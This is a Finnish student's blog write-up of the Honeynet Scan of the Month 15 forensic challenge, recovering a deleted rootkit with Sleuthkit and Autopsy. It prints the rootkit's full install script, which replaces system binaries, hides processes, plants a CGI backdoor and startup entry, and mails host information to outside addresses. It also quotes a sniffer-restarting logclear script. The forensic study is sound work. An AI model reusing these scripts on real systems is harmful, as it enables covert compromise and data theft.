29.1.2013

Linux palvelimena, viikko 2



Viikko 2. Poliisit ja rosvot.

Tämän viikon kotitehtävänä oli Honeynetin Scan of the month 15 http://old.honeynet.org/scans/scan15/ jonka tehtävänanto oli seuraava:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly reccommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partion for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

1.              Show step by step how you identify and recover the deleted rootkit from the / partition.

2.              What files make up the deleted rootkit?

Bonus Question:  Was the rootkit ever actually installed on the system? How do you know?


Koska en ollut viikonloppuna kotona, ja unohdin live-usbin olohuoneen pöydälle, päätin tehdä virtualboxilla (versio 4.2.6 for windows http://download.virtualbox.org/virtualbox/4.2.6/VirtualBox-4.2.6-82870-Win.exe) oman testixubuntun (12.04)

Koneena siis HP elitebook 2530p, win 7 enterprise 64-bit SP1, Core2Duo L9400 1,86 GHz ja 4 GB muistia.

Aloitin tehtävän hakemalla levykuvan http://old.honeynet.org/scans/scan15/honeynet.tar.gz
ja siirsin sen omaan kansioonsa /scan15

Purin paketin komennolla $ tar -xf honeynet.tar.gz joka purki levykuvan omaan alikansioon /scan15/honeynet.

Seuraavaksi asensin sleuthkitin ja sekä autopsyn, sen graafisen käyttöliittymän takia.

$ sudo apt-get update
$ sudo apt-get install sleuthkit
$ sudo apt-get install autopsy

Seuraavaksi autopsyn käynnistys
$ sudo autopsy
Tässä kohtaa ohjelma pyysi avaamaan selaimen ja kirjoittamaan osoitekenttään localhost:9999/autopsy

Tästä valitaan new case, annetaan caselle nimi, mahdollinen kuvaus ja  tutkijoiden nimet.
Seuraavassa annetaan caselle host, tässä tapauksessa ehdotettu host1, sekä importataan levykuva. En muokannut ehdotettuja asetuksia.

Kun tämä oli valmis, analyze painikkeella päästiin itse levykuvaan.

Vinkiksi annettiin tunnilla, että rootkit on poistettu koneelta. Niinpä lähdin tarkastelemaan poistettuja tietoja. Heti ensimmäisenä silmille hyppäsi poistettu kansio last, joka osoittautui tyhjäksi, sekä lk.tgz paketti. Exporttasin lk.tgz paketin /scan15/honeynet kansioon, ja purin sen komennolla $ sudo tar –xf vol1-1.lk.tgz. Tämä loikin samaisen last kansion joka löytyi poistetusta, ja piti sisällään /bin ja /lib kansioihin kuuluvia tiedostoja.

cleaner last.cgi mkxfs s ssh ssh_host_key.pub
ifconfig linsniffer netstat sense ssh_config ssh_random_seed
inetd.conf logclear pidfile services sshd_config top
install lsattr ps sl2 ssh_host_key

Oletan, että tämä paketti on siis tuo kaivattu rootkit.

Päätin vielä syynätä tarkemmin tiedostojen sisältöä strings -komennolla aloittaen linsnifferistä. Tämä kun kuulostaa jo harvinaisen paljon semmoiselta mikä ei kuulu koneeseen. Tiedosto ei itsessään kertonut juurikaan mitään, mutta pikainen googletus kertoi ohjelma olevan ”powerful Linux Ethernet sniffer”.

Seuraavaksi otin käsittelyyn install-tiedoston, joka sisälsi seuraavaa:
#!/bin/sh
clear
unset HISTFILE
echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************"
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo
chown root.root *
if [ -f /usr/bin/make ]; then
    echo "Are Make !"
else
    echo "Nu Are Make !"
fi
if [ -f /usr/bin/gcc ]; then
    echo "Are Gcc !"
else
    echo "Nu Are Gcc !"
fi
if [ -f /usr/sbin/sshd/ ]; then
    echo "Are Ssh !"
else
    echo "Nu Are Ssh !"
fi
echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo
touch /dev/rpm
>/dev/rpm
echo "3 sl2" >>/dev/rpm
echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>/dev/rpm
echo "3 smurf" >>/dev/rpm
echo "3 slice" >>/dev/rpm
echo "3 mech" >>/dev/rpm
echo "3 muh" >>/dev/rpm
echo "3 bnc" >>/dev/rpm
echo "3 psybnc" >> /dev/rpm
touch /dev/last
>/dev/last
echo "1 193.231.139" >>/dev/last
echo "1 213.154.137" >>/dev/last
echo "1 193.254.34" >>/dev/last
echo "3 48744" >>/dev/last
echo "3 3666" >>/dev/last
echo "3 31221" >>/dev/last
echo "3 22546" >>/dev/last
echo "4 48744" >>/dev/last
echo "4 2222" >>/dev/last
echo "* Gata"

echo "* Facem Director...Si Mutam Alea.. "
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
echo "* Copiem ssh si alea"
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log

cp -f inetd.conf /etc
cp -f services /etc
killall -HUP inetd
echo
echo
echo
echo "* Adaugam In Startup:) ..."
rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
/usr/bin/lsattr

sleep 1

if [ -d /home/httpd/cgi-bin ]
then
mv -f last.cgi /home/httpd/cgi-bin/
fi

if [ -d /usr/local/httpd/cgi-bin ]
then
mv -f last.cgi /usr/local/httpd/cgi-bin/
fi

if [ -d /usr/local/apache/cgi-bin ]
then
mv -f last.cgi /usr/local/apache/cgi-bin/
fi

if [ -d /www/httpd/cgi-bin ]
then
mv -f last.cgi /www/httpd/cgi-bin/
fi

if [ -d /www/cgi-bin ]
then
mv -f last.cgi /www/cgi-bin/
fi

echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "
cd /
rm -rf last lk.tgz computer lk.tar.gz

Heti ensimmäisenä ohjelma poistaa historian pois käytöstä, ja tervehtii sen jälkeen iloisesti ilmeisesti romaniaksi. Skripti ajaa rootkitin koneelle, ja poistaa viimeiseksi vielä tiedostopaketin.

Seuraavaksi tutkin logclearia, joka näytti tältä:
killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

Tämä ilmeisesti tappaa linsnifferin, poistaa tcp.login, tekee siitä uuden version ja käynnistää linsnifferin uudelleen. Tämän tarkoituksena lienee piilottaa linsniffer.

Cleaner tiedosto alkoi lupaavasti sen ilmoittaessa olevansa sauber – by socked. Jälleen pikainen googletus kertoi sen olevan osa t0rn rootkittia. Tämän tarkoituksena on ilmeisesti pyyhkiä monia eri lokeja, jonka jälkeen se juhlallisesti ilmoittaa Mestarille kaiken olevan puhdistettu.

Tämän jälkeen tutkin vielä $OrphanFiles kansion poistettuja tietoja. Sieltä löytyikin poistettuna samoja tiedostoja, jotka lk.tgz asensi last kansioon. Tämä saattaisi viitata siihen, että rootkit on todella ollut asennettuna koneeseen.